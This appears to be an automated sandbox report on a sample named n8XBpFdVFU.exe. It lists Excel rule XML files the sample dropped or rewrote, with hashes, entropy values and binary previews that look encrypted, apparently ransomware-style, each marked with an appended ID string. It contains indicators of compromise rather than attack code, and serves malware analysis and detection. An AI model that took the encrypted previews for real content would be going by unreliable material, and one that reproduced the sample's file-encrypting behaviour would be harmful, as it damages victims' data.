Preview:	<?xml.-....S..Ya......Z.u0.13..).l..<.....\CV...n.v...(-...:M.....{..5.%[.w.R..?..........P....'A.&...k...r..e.l....3.\|4.i.).p...x.>..s..C.u[D.N..b.Ko...'h...0:..p8......t..m.X..=.X..^...C.7w........Wj.......=..a....s..S"..i'...\as.....K,%A...)l.;@+...&....w.:A.m,...mv... .$.B.\|...w9....H.~WYw_.Ao. .n.... ......T/.`..@..%R.........@.......R....G`...\.R.x4.........MjZ....T.....N5..d.s8...c.UWi..f..\>..{.v@<..cg.'k...U..r.....D.h..i,.C..K=.m`...<.&...qJr.6....5...<.(..oO..[Z.e?.=.Au^X9..P..Er.@.\|....?.<J...9g...+).r.....no.&.wQ._....`]xf..........'C....G..'X....4.7..xm..bz..T.'AI.t;.........2.W...........'..\|].....jh.-]..:x.;.............}.l.V...'.%..H..o..h..}7D."eJ.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.860846881763168
Encrypted:	false
SSDEEP:	24:9+j8dAujRVJbVeWc+zfODW9OJGbAMB1rUr3zd2Y4BUiD//epPl5PJyrnbD:9+Q/jRZXcEG69ZkMmjd2nBRD/GZjPJWX
MD5:	817745872741DF6D537D99106737AED8
SHA1:	2D899D600DDE67D3CB233A13F2D8464BD4C85B26
SHA-256:	9499476450E9B758838A82CD148FE91F8EE5EC2F5BD454DF1A274D47FE86C8B1
SHA-512:	D8229F49DCEF90AF6AFE261067B154D5A6961E91CCCA08438CE98F29D3336D2CD2FAB3410A4A268202FB5FCC67FA3EBBB998DB8230F2C7C6192DD43B953C0634
Malicious:	false
Preview:	<?xml`Fx)..0.f.P.i..E..M..cp.evL..P...Lp..!0J\|..6....b/_..EZZZ}~w6S.b...RR._...".h ....P.6..u)......&......A.....Z.;..._,>....vpWf.lx...6e..'........h.........Mb.....N..4.@...q.{..W.p6.....n......LR4..ye9....L.\....k.Q..ewMy.5.(q...R_.{...."..]F~..!O...:....-n.$.B.....K..9N.$....R.....<.\..?.<6...OL.RN\.m.&...!..". ..'x..Z....:..AM.0.HU:4..x.....$...6....T....4....i.^6.G.E....uT.X.'w.t.0==....q,....+.A....e.)r.,[....{.h....}.wQ...db#...ry]7...^7..%..".$.Q.>....d&...a. .=.1V..z9..9:q_.1....eC.\|.W.N{.('.}.e\|,.z...('@]:(.y...x.)..=.G....^7.8Y.<yJ.#..\....D.;.%0.aV..Y...Z.9#.%Uns.[.A,....k".........Ri........f.Be..W.8.C+......u}C4.W.;.&....4._..M.H.5.*.....p.?UN....#o..........".}6G.#..8..nf(..7....#~6f../....v...tr%).77C.....)v..d..A.....#..m..n...]i....P6N...B.].{.C..C-(....+.9U11..u..F.....p.....KR...%-..x..Z...{.s..v...>/^.....@..33..:....)......Gn.5am@Q.#kAC$r.<....n...._.In..G....42.).).d...qS_...,.U....Y'...N. .A..~)....k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.837749839296814
Encrypted:	false
SSDEEP:	24:ZUWoq5is9qZQ28lFEu+AIzBT6ScJFAkHDPSyPlD7zuAnRQhfX3gwosziePfsbD:bv5is9VsuHIz0SgWEDptTqvgwosdPfmD
MD5:	7B3EFE4883F864259AF9D10DBA61668D
SHA1:	B3E5D9244EC2D4E4F87BD07FE13C189BAA94819E
SHA-256:	6A380147DB8849A6116C1AF8282236AA24DCBFF01D50A2C1F025970D95715A23
SHA-512:	DC8C1A41DD254A90124DEBE53C482B49AE32A7F1D3EF87E0C18975BCB71ACD3CB1361C90DCFC8419491BEDE673AFD4C9A76338D6BB2C292FFF8D017B8DBFC738
Malicious:	false
Preview:	<?xmlq..........%,%.1...K4_.;......a..j.6....T..X2.H............Hn.2...8.$Z...\|".........a..L..AP._=......)...4...=.....}.(~....5...a=P...r..Ej.].gY..>..XZ..l..].9...tR.\-.Ma..>.#}.Bc.&..G..-.1...9.Z..e......7^4.. \|.Vj.1E?wT]q...N.x...r...5....1.....'4.(=1.+.5J.4...t..S...4+.........w.pi.nw.(7.j.O.]...E...1.A...12.2?.]q36.m..=R..:I0.......!....q.1...YQMfHk..8.,.\|K&.g.x.....t..E.wR.........!Dy..8..."...............S....g......../0.>....fsa...O.A...=.U.h...f...xr.$..=..D:..Dj.8..;.p.p..h5..S.c@..+6.^..... .H..P.g..p.1e.......z..z U...4[.g._GD.T...uIBo/.j....<R.,...\|R@.\.;.h#!A ..L.i...........Y............'.h..S;S.jO.....G....5..0.Q...s....`...p...hz.9......4....P...C.....G).......{.).../....(O8..W..........Y{..zC?..tY..]..........Z;..F..kDb..t.r....{.S..k1E...92..Qo..hW3....90P..m+..&.a.F..../v.dE..a..!.p..T......Hua7YE...4..".r.C.A..}............&J{...W+B..Z...w....v......S./.t.ff...h..FK.x..}.za....."D.^z...e^%........8..P.`...p.1!{..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.844996281247621
Encrypted:	false
SSDEEP:	24:kI4ZZoieM7IIrDEjPhLZv11UmZWAoE3HZ+ppphFVFKsYnWVqKBNbdlftLbD:ZyXelIXE39eQWALZ0jVFKJnpglftD
MD5:	0E34E8BF5F7026386FA00CBE0ED20D1D
SHA1:	76B00395B583ADA44B4C47C0A98360DAE01EAEC5
SHA-256:	CEE5FEB6DC1A0FB20B4F1F9F851C9C021C63C7637103348BB50D4E70816F8BB0
SHA-512:	5BE3AF930D866747B56AAE72581C9105A6BAB5D37FB7C01A6A0E0FCB7AEC93DC2DCDE573E7E5F202C3DB0E45FCF512019B1E23C2E52ACD8872084FCDA93C3A2D
Malicious:	false
Preview:	<?xml..........9....R...QN/.........;........M......@.v..^..m.s...].r.#...o...JJv..1...R.G3;.@..T.....wF..`..".....\(..p.K..^=..e...S...).b.}}p.d..]....U..);rN .....;w.Vt.5..S..Q.".L..5<...6..EW\|.h.c.Hk....""s.>......DW%.k_...{..z...F{.......O.\h..C.b\|e...y..O.ELW.A..]..$....Y"d.Shx..q.tNS["v..zKdl..N.2...R.._R....<-...M.....UG...H.3.\|..Z~y...2.n..T.6T[.W..\.e8.B........M..Do.B.Q..(..k......S....%.X......v\..+.Y...L.mN.n.._......I.\.Z.I..&....>..+7l..9..]...kF....\|..Iu..?..$......V....jhaZ.h..}@...V5..l...j..tE.t..".Z.Qv..p.....^=.#.[c....ZN.W}G.5.....x!..@kDG....).b.,T......O..%.nDr..(x.9..Z.kh..E..<U.4:..kO...t...Q6e..._.........GrWS.o..w...i..0.k.3..cv.S.K..1..]...8@..P.FW^.. u...v.y.?r..XD.?...g..5\|x.I.}e...,.E.....5ihk../...[D.m..<.`.........5.4-n...(............(.J.......h....Yp@.d.yH.....+0..].y.=/C.~?.^+......fY.e.......w.......7.`.X.&eq....y.k8{.S.L.+.BZ...i@.p/...P%{..^.+...tyR.Im@,..8(.D....P.uVf. ..T.)...W..T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.856627423850494
Encrypted:	false
SSDEEP:	24:wWSoyko4uMKOi4SGnKNYDnsGPWKUy8+V8boPw8ZdqDbD:wWSoykyTGnK+jsBu4o4qmD
MD5:	9E70F58BCE7A4482EA82B9C22D0CBD95
SHA1:	396FDB0B87ACBA5768685AC4191DD44A910AD862
SHA-256:	E313770BF07C1F61CE0E6AF96ED29D984ED7E31AC7B391D86538CFCEE0F046DD
SHA-512:	99FB6911924E4F6723855D411B609A68B3687C357A2486BB3C982120DCD49F3985631F999F206B69BF94C7377EEBF5F7ED3E7EC47BB142668852E59DC5EFD673
Malicious:	false
Preview:	<?xmlxZj"..Oz...=........p..B.._..w......k....l;u.E2?...G3:...vM=...YE'.D..?.C'.Df.f....D.QEwF.g...k......f.u.JJ..(X..d....Lz.:v.....'E...X[...-.=.........+.e.......9.]...F.s.U.............#.bY.c....._). .V...4...y..D.~...5.....>.p....6.dx.G@M#u(.!)..$..g>.N.eZ.L$.........0_..e....C..c..\..7......+'g..6 &....L..4.B...N..uH..,."1.+Y07gl.9.pX...F.,....9~.....9.Y.U.Q8.(....D...W....@.. .%...Z.B...m....Q...p...>........?.5....\|p......0......Y...`....;MUb...mP.....:=.G...2..:...q.^..4..`W..r1z.,...'.RvSw.p.z....tx.S^T..ONaO.. ..#......:)...xk.5.EU..s.......rT...V.p..........M&.UW...& ?d.85L..(......B..hE_~C.}n..pF...M{1.l3....`........_d..5.F].7..k*...2.2.U..L?...i..;Zv..-.ig.G....L<R.R)..-mh.....~@......-T....M.s...Q5../..i[.]...&..VP..qD..U.".e....x.y......3.=u...W......E.$..........,...UXtd.;).y...].........l..w....G)...l.+..#.'..e./Me...:.....;........70..\|...m.M..$..7...g.7..n.....>3~./.2%.k...0.....2.te.....].o.R..H',x.V..r&..#.d.?/

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.883679664542726
Encrypted:	false
SSDEEP:	48:49pAAFqDCBoXps7ACEUEFw7oQJ2UfHjvTzhSTzD:4fN4DhXQEA0QI4jvHh0f
MD5:	904F206EFEA1C01A5805BD065B808A1B
SHA1:	3276FCE0E8286DABB1770BCBA0DA337EB9B87679
SHA-256:	9566C005516FCD05DA38AB621FEF3DC7FE13B9A5F02D952A3A34B68C1F8529FC
SHA-512:	469BAE2C8ED9B3C85DC24FAE4A699104F4CBDB459781C20E115F42A91376EEFAEDAA77DEF167A07E5A881EA7CC3500ACFACC92E47E110FDC20314C31AA27F8E6
Malicious:	false
Preview:	<?xml..l:pY.x..X......vI.P....f...(...:$.TC0.u...It...42.....N.l.K..`.5B......M}T..@..]2&Up...3.n3'.F......&....!.../%..L.....r._......e....T...9..K..r)..'.8.....j.<Qm..6.e.._...]oy.8.o.....~(...VJ...........X..;.N.}..w.;.!f2.HC...t..v<.._....u....xA.s`..K....c.>..B.W.--p..........N...e...iL.w.H..C.$..a...\..Lm.:e..e..D.....h...[.[....1.M7.T..$."..(......q..8mR...W.........Uu..!..I........c4....(...........".w...'.:...r!.o...\.<.......Mn.N.....[...B...x\|.U..Z{....M..49.=..............h......].E..mU(vV.j/...HQ..Wlh....d.5.5.B7:.9.&/....<.3 s......q.^...e.v..nVexwQG'?N....H.u.dh...&...!^.....G..Y}.z.~d~..k..]...-...vx........[........"..-....sl]<...!...."...r.%LL~..;..xDtF.vQL.Y....`..&p......\..D.C<....d..zR2.F..oS.....a=#.0.#.c12.8..A../?_r.p.....~....+..K.....}.5.Z...._/.y......^J-....2......fq@..v.r@p;.O`:.u....l.Jw^.z...5.7L.$#VS..i......U.*..#=.....V.... .Oc...C-.(<_..T.a..zO.\|.....C^O............RQ\|3....o......W.0S.,.JQ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.77076395171445
Encrypted:	false
SSDEEP:	24:ookEkilzlzuUewTHyAUEbbYyv+pl41+30HHv8obD:ookElN1pbUEXYY+9Ev8yD
MD5:	D883A1F8241A09D9C7D44D124CC05A11
SHA1:	D9ABE7AA5D9A20D5886BBC902EC4E5096ED3B509
SHA-256:	1C0531A9BD2B07ECFC573E2D1CD6B082D2425A453CF37E10B780F8C62EB528F2
SHA-512:	DEA7D4DF834D9294678D9842264334478671491671D95E2F2010C3D6EE84C999B160EA4CC49FAE9F2AAD46B9C0F3DFEE9D44A9BBFC7554FEFF296B54F0158805
Malicious:	false
Preview:	<?xml....L.EZ..b......s....A.&9@....M.RS.-#.'.i..<...U?...c9$.3r[.@.eMP.r....Kr.o.....aI..r.x....zU.#.0....4Lc: E.A5...k2...r....-$.5Zr......K..n.d\.....>..h.z...;.Zs....YH1..<.1.\..TY.YO.&...@.{.....W.3.AL`~...W.E....}..qj8..\|.I..2..l...k.q,.a...}.0._t..}@6.]g'!.a.X....._dK..@.p...?...<.m.[.o..s.@.F...g.......%........m..%.p..m.GU..k..6...+...{=.or+..;>.D}/.b.\..;/.($...K.Y...[.z.T.....jfi...=......`.$..B.......,t...&.lP.-km~.].].;AS..J.er..f%>....&..=.`.5.ar.......%.53.8.....:;.........K...q...W.4Q....-.3...I..OAQ..._.`+...$U.=.-1..".i<a(xzd......F}o.0...f.4.....6SI.^.&....,....%.".Ne....~[..ly.gf<.C.=.......6.?k...(.h.=.Q..../..a..!l...s.}.^Hy...Z.c....~.W.k.uS.,.s.O)(H...-..L.\|V-.YjM.=T.J.v.SA...C.{k..3Y..!F.vh%8.%.Q..tw0..j.5..;sK...5{.s..il.{..%:......>...y%..et..(`....T.^n....).uAv%.l..e..L,X.V..`I%.`q.R.Hp..b.......{....O.L%!...3.c...(i:..v...{....&..Y8.M,5...lQ.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.908099946962589
Encrypted:	false
SSDEEP:	48:giw4EXQbR/ulBM6R/hm9tdkhW5zodh3d/x49D:Xw4EXuslBM6R8XdkhWydhN/E
MD5:	9349A157A9EA3A62181D55989A6B9F20
SHA1:	30F0F55A635773C0C1737418556C1F79E0C97BB4
SHA-256:	59157070A822739FF800BDF650A63AE7573ECCEECE88C0C026FEB5382D8C6626
SHA-512:	A6891B0636ED61A2BB308BD783D6562384EE8A8437BBF55D0748DC863F94C29DC7AF8CE541FDE21E79235E8259F89387CA75D725892EE0853809EA50A1A68A02
Malicious:	false
Preview:	<?xml.Q.y.m..y.......X.=.B/...(..o..2.......6?a.e....Z..Kud.{.......ZF#c..GY.\..u$.s.U.....S.c.Ty6....NZ.a..sn=.D.e.VGK.e.`"..m.o......................j.K....ri[.......#z.....Y.\|...7....'0.. ....a8..58.Y.R($1".d.^..v.m.....i.......s.&.?....+......]......kB.+9U...L.0.M..;#.....s...i(.. .. u.o.b.^...(8u..m....A.(2...g?m.U.......).".3[gF.......I! .3.y.#...W...7.(.:..d.7R..i..M. .H.Qq3.._.SV...u:.9._!..H......g...KR.............9.]..X....9.g...!.....x...tO.Eu..Q...P.3/...\|5...#i....bO.GpN.U.h.&L..Z#...;&...R:w b?2u..L...L....._!.c..6?...j..~^...P.&Fn.m'.E3C.u.7.Q...B.I-.r.4.L._...:..-...t7..F..k .6ZJVX.<.!4>>........t.M..u.vM4....J..GBn..#r.......!...ThMD..j.)...F.h y.....M;..?q:.d.8..\|...?....a...,.n..XM....k}.V.'aJ/.S)X,..(Q .q'X4z....$8.E.3......+.{.kvo.f.-..(}....#.2..NK..?.....2S..!...4...\..I...p`.3V.h...."k......>.V'..u`..W....x[..i...c...T.I.;.....6.9{.UP.........7,,.}..+_..p.e2.4........F5.........P..K...[.f.R.!.*..I._M...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.952646098308533
Encrypted:	false
SSDEEP:	96:+ArO90OxGx2+yK0Fe9U/JuKYEWN/VK7RTCi:+ArEXxO2+XGh/JqEWXIGi
MD5:	280243CC38D4D3ECA7A5BFE935282AA5
SHA1:	6E0EBE7259AD065F0AF2203BDE794C60329E5E59
SHA-256:	628151FDB5AEE91D06DF21A38BFBD18641B0796B747A3BD74C6DD8FC7B7CBF6D
SHA-512:	68784BF448B585B49E7BC69BF658BF173A743BF69CC63BB63A4A23430722D3B4847CED1A79B238BE0713F22A87AC7DEAD5A3D029AA57BF28F942FF44E674626A
Malicious:	false
Preview:	<?xmlK^I..g.^Eu.;.d%D...1-J..?.J....8.Y.....`@.1..2(.v.....j..o.......e..3y.8.9E]<;9.cMh.c0g2.X..v.<T.!.=:!..........!.<.Syx .x..h../sx.:.W.\|..#/2.jY0......).../?.G2....a......0..bE....s......B.Z..o#.E@..`...."..9.Y.....P.b4.......b.d..gx.f>....6...E.=...S..\.A{".`.a['S......hZ[.\|..F...y.0......!i..n{M0.7..^.rB......&...'.g....}pS...&s5....WZ... ....T........../..D.RCQ..x..$\....^#^..P...=.Y...H?S.a\....E#.J.:.Vdh.eQ..F.B.....)...1Q....". ..\|S..Y..f.h...x.m....W..s.......7.J....UP.......vRM..rD.\|.o....D.8.+..d.F.lwx_l.(:>.Vp.e........'S ..X...Xh".._..}.w...#.N...h....S.z..j0..:.>O.w..8...Q.$.I9L.}..$G~..8.....].......a.T.....N......P...K.~k.5.F7-....n.wt.s.?..V..-.6..F.=^......[..z......$W..h..>...v.bI...0h.%].....J....>../...NI.`\|I......s.%...\..N`@...c.S.*2N..%....>.v.[...@;...?kIv...o'F.?....i..0.._..i.E@....+,......~. ...&)g..'..."#^.....=.....)..y..7..d......gS.U$...D...eW....x..C...C?..f.I....`.6.I.........}....CL.%..dA.O.xl:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.866003011227317
Encrypted:	false
SSDEEP:	48:/zpKfbjxPiLr53zLBT923LIQ16aZIC2srLbUu++rdHD:bpMIx3NWEQM1sIu+Kx
MD5:	03A3BBA9E5C7F0E70AC10616A8E4141C
SHA1:	F106CEF3FA4878E0B544311BBA78E980FF4FDBC7
SHA-256:	1FB137F0B3D9BC687EE5E28E2F9B3BBD7C45FB1AEF40BC15C395CC241C128783
SHA-512:	F95E3E2225DA56546D266107729E722F6A4A17D6D384C98D5EA79D374685F97228B6F78666BD6068426B113219ADA81233066AA57268EC1D6B95E07CA8E1D129
Malicious:	false
Preview:	<?xml.._U..;..V.._...!3..K.d..A_..-o....s..@Y.l...f.(.M...z....b..lp.yl.......=.....\|.<...n.......v&..dA....Q....=.Ka..4.L.Z\a..t.cGA..4'g.....#.......'.h..[.......,61...%..#.....).6.....o.s..4......Z...u_.j2...7..J.....R......k)V...@........!'........=...~..+..Ge..=XH.....r...K..-..G.+.%c...Qt.....J....0n..J..5...~[6m.0Q.P&..F....aog..4.@.n.'.{x...{.H..{....\|.....8o&Ts.fv......,.B.'...?.9.7....M..)#e(y...C.D.L.W.G...kg.X.l>../...D.:.......~.i0..2s....y..x.'...._KC.Af..D.`...I.45.SE'n)..KR.6.`.~.....p..\|.{U..WE..x..-....:.l"..#g.1..z"$f4.G..x`1.O.n.L..g..?..:&!.&Ck...X..=..W..4..:;.\.G...........,..X.%r.@u/...}m...Uk..,PK...Y.a...>.U..z..3`.s=yy=.\|..lK.z;@.h.[.r\|qE#?...{....T<.....v...Vop...dT.Iz..4.`<@.,1...VAw.....G....N.)..t\.....`.a.[4.ru.4C.0..{.os.G.C...)D....){.#s3.3...wo....lg..W..Dea.C.:.........r.&3N..[.J.^...7n..pKM..[%.g.!G,{-^.....dgD.9:@z.B1.j.Iu.X....?z-...>.!z..=...V...}`.+..C.U.#.bm3..q.:p^..c?.,...H..2.~....i.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.891586537979201
Encrypted:	false
SSDEEP:	48:oR+sLE6P2WPObZi6tmmWqmUA4wV+b3VZ+8d8RM7OfiThBoK4pcD:O+so6JxmW3T4g+LoNAn
MD5:	1506344CCBFD55B3EFFFA3A3F2CD3F3F
SHA1:	357CB855DF3FF5D70291C9F8A952A03654948B01
SHA-256:	24614588CDD4C435C9C76A74A92461AB3ABEECFE082F2C9DFE4DA0F076E02E53
SHA-512:	8F8DF7F64BD85A2ED17CF6CC10E8745D41A9EEBC4E99F717FA0673AF175184095DB64A531B11EDEF507B5C9ABBE440C17151EBAB307B75BD0924164B36A9C4C2
Malicious:	false
Preview:	<?xml.....9......A.f.....K..G.......(....X9.:h.:s..H......x...C..AP..D.C.]..DV...W^.i..F..%....(_"r....E&..#.].q"..t..O.E..=".....F...\|X^...i.m..........C.!......[..;.M.3Gi.x..l..9.J.J...!..,h...Di..P._Hk....y...p.......!..O{>.q `........v.s.WQ..\|....lf..........,..6...A.&...z.z.....=.....+...e..."............E...ot....[^W/.P..j..&..a...d.fr......-..8d.xo.5.\..w......9...l...k,.i...U....{...w[...Y34..g....C:.z....M.e......d..=T.. ...94.....M...j$\.B.`....o..PQ....u.[)...{;fD....Y...L.V.Es...\....'.RKV..9XV....}..4.... ...=...%..N...........k@.....XN.s.Yw.-q..k.....h.B......\.Z..D.{t........P....T.._.v.N\|.S.v...cUq.^.vo...v0.$.A..2..s..K....:...i~_.I=..5............5r......s....WW.1...l,IF...m.....$.m...n..v....>c.AO....P@.F.:..D%..Z........gc......_..E.'Zz.i.....K..!....OT..E}.6l...z...V...{.m..ze.l...N.<.......%[..IK.%.P...('.y..={.......oG...vL.....,..............M..n.....T....dx.....z.y......9.8.q<.#....`.]9._GT....+..b.t..B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.935963607107552
Encrypted:	false
SSDEEP:	48:KUgEJkBkixtGrAYDz/JN2ZFk2Ld5xAJ8LNWC188i2MYGVCJmiyZ9hFUHsD7ShTSS:JJUkixrYL2ZvAexWCukeAm1b9a
MD5:	C153676285789AF5572A916D2CEB732B
SHA1:	598FC76E40965EE6C811BDB1D0DA313F04F885E4
SHA-256:	9B9BCB4DD2065696AE503C484AF306776F7B29F0ED32501483C8EBA7C9BCD394
SHA-512:	C0555E6C6012D19ED8F630CE5C0347F505C985FD3E192A95AD2C100B7FFF7049BE525FA0E4A3C75398F9CA30BA2C46A386BD18D4EE492869CB375096A6B8631E
Malicious:	false
Preview:	<?xml.......-B.TejWw&.Z.j..H$.....yN.2.'...#~.&v.!..mR.....xu....C.-.AO.IbX].\....e.J.....}!.?K..A....\|.O.l.W...\...4.+:......LX.)../.....KQ....@.9.U...0).~.d.?L....H"E.fT.G^.>..5.JZ4.w$YE...WD}.bUHx0.y.r.[....U.Q...U..Rv......m.?...F..+.9t..pE......./[.7e4..x....!.5.3.=.......0(.dJb.7..FX ........WH).p..c.z.p3.`.rhc..Z.=.E...,..8{M..).....y...0X5.Tj.....I.......%..e.fg..H..L..C......0.5.dBh.].......;-tMvU..\..q.e..n..W.........H...Wf.E......m&...$.T[...U...dR.m\|...H.:P.....A..:y..r...U.2$.>k4.-j.[qF.z..l`...0....-.#.....g?^..G..9..F..K.GDv.rb..q..Tj../`...1...1g.R.z......q.B.R...{>y..2I..l$..;...,...M.j.\*..........w\]. ....BYs........5._.s..].Y.f&..=..../.wxj.....K8v.......~!..98..v.U. lij..V.`,R,L.RU..wy6l1...v.. 2......9......v........~.IAN.....?`....2.w......d]...].0_n.......}..t..,.F.6.I...c...<d$...j.)...o.6....H..A...M.T......Rz....W.......Oq.SF.....5.D"fY.'@.i...P%+.bJK.....3.n..V..y........~.F,T.%^..W....V........L.I.6l....@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.821294570268868
Encrypted:	false
SSDEEP:	24:2GIU6Pv8bVRtDKVPjgK+uzFUAKRTpxsFjnAPW7pibD:2Y7ObgbuzFUA4TpSFjAPW7eD
MD5:	C58AE859318D5EEB2920020009778B80
SHA1:	A9593A8AF467801568A534F85EB998A614BE0F0B
SHA-256:	0F0DC3FD792673E409DDA70707F8BEB2608238E65F02FF5DD27648A7BF3EBCF8
SHA-512:	EAA3E9592A4BA496D5B82B2470032E0114BAAB240BD450B6E3FF8B45C392C9C3FD51721F2904DF388DB4E680E36290659EC013BD930150DD9E6CA9A1442EB7E8
Malicious:	false
Preview:	<?xmlr.].$......A;.....A.-.A%..@.....@^.."-..kOm.. Z.D..j.#yh..g;+.."..P[...].~O}l-&.4.....v-.u.....4..d...S4n...j^q..."..q..7.<.d....d..O.......Q..&.....S2.`xA...WO.8....`T......%.iu..Q.Q.....b........}\|.....I... _g.h{....%...o.c...)..z...M..Oj.T. .~L.....k='.r.."T......#D....8a<.s.j......m..\|..... ..J/.'.i..j.n2.]...q]1#..Z..E......5...IC.1......Q....s\|........~.&../...Wr.tt.../.......l6....!...}iw.N..M.yXm.J...0....S.]..{..........?.{-......\|.Rx.it......sDS.Q.m!"...Q..kR.(>mQ\|..c...D.$.&%..U.....>-..h....:[.....5....d.@....li.:;.G/..g.B..(x.H.u).A4A....)S.0....$.n..Y=..Y9......O...Z....J~.f....+v...;.S.....?J.....3..QYS..~Kg_j.....h...X.Z..sAD^P...ry...h7`..Rg..H._.....MB...&................(....V....22.....(.. ..U.G3.Q.......Nm&.#..G.@...fL..rQf\@..?.,........Y#./..b>.P..`)HWY...?...t.....p.B.eIx.Z.....>..hK...b..Pr.....x._R..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.926936957306332
Encrypted:	false
SSDEEP:	48:R8LRyODg6QREm1KL7VVZ1ZMe5G5TR8ZTaWSn1oVWRCFty4fWrAbmAD:4RyQgBOL7VVZTu5Ti9a1YmCF44erAbmc
MD5:	3BCDE8781E6949B23C5A634B912C45AF
SHA1:	85B084A8D6C598B3F23EDF2857A00B1B8BDA1624
SHA-256:	E7C124CE5B5E263E1DD9A1267447B79104EE9F715FDDCE3AB969721E7704AC35
SHA-512:	A1D6D86E9FF0D6929CC2042234A98308E085F8E44E5EA616A248D0F51B9F7057F37692D339782BE6B1E1CF73A12C7D093F82AAF5EF73E89BD27BDE1D6F8FD679
Malicious:	false
Preview:	<?xml..Kig.1.Z7\5]w....g...k..."...l.w.... ........F.....v,"o.~....G)....W(............H.....\|....X-..=.1/;...n.;..........Mf'!.Nas)..@........~...z.&.p./X.\|.Y0^0....N.@.....J#..y.!z.4k+..8{u...95h...`GQW.,z...I..V3.5.=5V.,.p4...q..y-}.G..,c..OC.8j..@!.../......w. .Hs"."Hb^....r...#1.A.7.3.L..k.%qC3..8B..O..\...VRn..#........P......-_.`....V..0.....h.m...v....#.a..<VA..t..m.....8Z..7g8..5z..&...Q+....i.N....;..#......%..-nf[c.CZ,..1.ERd..u.cJf........aJ....v.9..y....A.m...Kf...c(._8.....IFE...aW........L....>..s.=...-m.t....K..............hf....q3....s.[[..%......,..<.}(...\.o5.[.2..Z...!.>jE...2[.r...`m.s.q+.:w.%.m...j..4_Yc......2.J?G.....:c\...K.....d..w.ET.."....E...Q{..u..0..Nk(....0 .V...T..........!i.W/.`..0....Ap.gI.x....}...XTh9E....X;..#...g...........xyB.2.%./V..U............Y.W.uzn....>c...m1n......xS.O....Sw...8.p..uh.hx_:...J....#..........7.Y...e.@[y..c.-..........mj[G.).HK..qP..FKh.b.Z...N...z'pB....bh.C.XP\|.q._..w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.937445611072632
Encrypted:	false
SSDEEP:	48:uLZm/0Lm3jmZ4btN9he7FRKjFWPSNYLZmZdHFgwux7K499Q8WTIHZFjAA0qmzDYb:Gs/DzjDgbKjYsY2/o99nhkt1YmJQ/v
MD5:	582B5B71C9B1A2CC37D7E92A8423A05F
SHA1:	8AA5B77A32F46FFBD5FFF54C18685036258D68F3
SHA-256:	F46B04A62BE524421B9AED7F07680D20467C975D3F9731A5393925E448EB74B6
SHA-512:	31ED7606C98ABAFA55232846802A4608EB287015E1C3DAF9C3503C9C22E089A33E01DD7E640FA8DE384A365657956DAB5054039408B3C6F705EE263CFD9E2AB1
Malicious:	false
